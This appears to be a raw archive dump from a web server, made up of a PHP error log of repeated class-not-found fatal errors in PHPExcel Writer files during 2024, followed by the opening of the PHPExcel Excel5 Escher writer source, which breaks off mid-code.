{main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [29-May-2024 21:57:38 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [29-May-2024 21:57:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [29-May-2024 21:57:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [29-May-2024 21:57:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [29-May-2024 21:57:58 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [29-May-2024 21:58:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [29-May-2024 21:58:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [29-May-2024 21:58:14 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [01-Jun-2024 11:28:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [01-Jun-2024 11:29:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [01-Jun-2024 11:38:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [01-Jun-2024 14:38:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [10-Jun-2024 07:27:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [10-Jun-2024 07:32:20 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [10-Jun-2024 13:17:26 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [10-Jun-2024 23:25:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [11-Jun-2024 02:05:07 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [11-Jun-2024 04:26:56 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [11-Jun-2024 04:50:27 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [11-Jun-2024 07:03:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [11-Jun-2024 07:28:36 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [11-Jun-2024 09:44:29 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [11-Jun-2024 09:46:52 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [11-Jun-2024 17:48:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [12-Jun-2024 02:06:07 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [12-Jun-2024 06:45:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [13-Jun-2024 01:46:53 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [17-Jun-2024 01:21:51 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [17-Jun-2024 01:21:52 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [17-Jun-2024 01:21:53 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [17-Jun-2024 01:21:53 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [17-Jun-2024 01:21:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [17-Jun-2024 01:21:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [17-Jun-2024 01:21:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [17-Jun-2024 01:21:56 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [17-Jun-2024 03:07:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [17-Jun-2024 03:42:15 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [17-Jun-2024 03:59:54 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [19-Jun-2024 08:17:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [19-Jun-2024 10:57:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [19-Jun-2024 11:22:05 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [20-Jun-2024 16:23:21 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [21-Jun-2024 04:38:20 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [21-Jun-2024 04:38:39 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [21-Jun-2024 04:40:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [21-Jun-2024 04:41:47 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [25-Jun-2024 02:22:51 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [25-Jun-2024 02:22:59 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [25-Jun-2024 02:23:12 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [25-Jun-2024 02:23:16 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [25-Jun-2024 02:23:18 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [25-Jun-2024 02:23:21 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [25-Jun-2024 03:08:50 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [25-Jun-2024 20:49:21 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [26-Jun-2024 01:23:46 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [26-Jun-2024 04:23:30 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [26-Jun-2024 04:50:05 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [26-Jun-2024 05:58:34 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [26-Jun-2024 06:27:14 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [28-Jun-2024 03:02:59 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [29-Jun-2024 02:13:36 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [29-Jun-2024 02:13:39 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [29-Jun-2024 02:13:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [29-Jun-2024 02:13:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [29-Jun-2024 02:13:55 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [29-Jun-2024 02:14:03 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [29-Jun-2024 02:14:07 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [29-Jun-2024 02:14:11 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [03-Jul-2024 19:39:38 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [03-Jul-2024 20:43:25 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [03-Jul-2024 23:13:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [04-Jul-2024 05:34:21 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [04-Jul-2024 08:02:32 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [04-Jul-2024 09:13:53 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [04-Jul-2024 09:18:15 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [04-Jul-2024 09:57:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [05-Jul-2024 13:07:37 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [05-Jul-2024 14:35:53 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [05-Jul-2024 14:52:40 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [05-Jul-2024 19:21:05 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [05-Jul-2024 21:24:54 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [05-Jul-2024 21:44:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [06-Jul-2024 07:48:58 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [06-Jul-2024 08:14:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [06-Jul-2024 08:22:19 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [06-Jul-2024 09:05:19 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [06-Jul-2024 11:54:49 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [06-Jul-2024 13:04:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [06-Jul-2024 18:08:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [06-Jul-2024 18:21:01 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [06-Jul-2024 21:46:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 PHPExcel/Writer/Excel5/Escher.php 0000644 00000044433 14642534110 0012507 0 ustar 00 <?php /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** * PHPExcel_Shared_Escher_DggContainer_BstoreContainer * * @category PHPExcel * @package PHPExcel_Writer_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) */ class PHPExcel_Writer_Excel5_Escher { /** * The object we are writing */ private $object; /** * The written binary data */ private $data; /** * Shape offsets. Positions in binary stream where a new shape record begins * * @var array */ private $spOffsets; /** * Shape types. * * @var array */ private $spTypes; /** * Constructor * * @param mixed */ public function __construct($object) { $this->object = $object; } /** * Process the object to be written */ public function close() { // initialize $this->data = ''; switch (get_class($this->object)) { case 'PHPExcel_Shared_Escher': if ($dggContainer = 